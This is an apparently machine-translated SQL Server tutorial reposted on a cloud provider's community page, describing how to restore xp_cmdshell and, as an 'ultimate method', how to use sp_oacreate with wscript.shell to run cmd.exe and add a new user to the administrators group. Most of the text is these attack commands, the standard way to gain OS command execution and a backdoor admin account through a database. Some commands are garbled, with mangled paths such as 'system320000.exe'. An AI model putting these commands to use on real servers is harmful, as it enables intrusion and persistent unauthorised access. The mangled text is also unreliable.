Execute xp_cmdshell in four common cases.

Source: Internet
Author: User

1. The Stored Procedure master... xpcmdshell.
Recovery Method: After querying the separator connection,
Step 1: Execute EXEC sp_addextendedproc xp_cmdshell, @ dllname = xplog70.dlldeclare @ o int
Step 2: Execute sp_addextendedproc xp_cmdshell and xpsql70.dll.
Then press F5 to complete the command execution.

2. Unable to load DLL xpsql70.dll or a DLL referenced by the DLL. Cause 126 (the specified module cannot be found .)
Recovery Method: After querying the separator connection,
Step 1: Execute sp_dropextendedproc "xp_cmdshell"
Step 2: Execute sp_addextendedproc xp_cmdshell and xpsql70.dll.
Then press F5 to complete the command execution.

3. The xp_cmdshell function cannot be found in xpweb70.dll. Cause: 127 (the specified program cannot be found .)
Recovery Method: After querying the separator connection,
Step 1: Execute exec sp_dropextendedproc xp_cmdshell
Step 2: Execute exec sp_addextendedproc xp_cmdshell and xpweb70.dll.
Then press F5 to complete the command execution.

4. Ultimate method.
If none of the above methods can be recovered, try the following method to add an account:
After querying the separator connection,
2000servser system:
Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: winntsystem320000.exe/c net user New user Password/add

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: winntsystem320000.exe/c net localgroup administrators new user/add

Xp or 2003server system:

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem3220..exe/c net user New user Password/add

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c net localgroup administrators new user/add

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.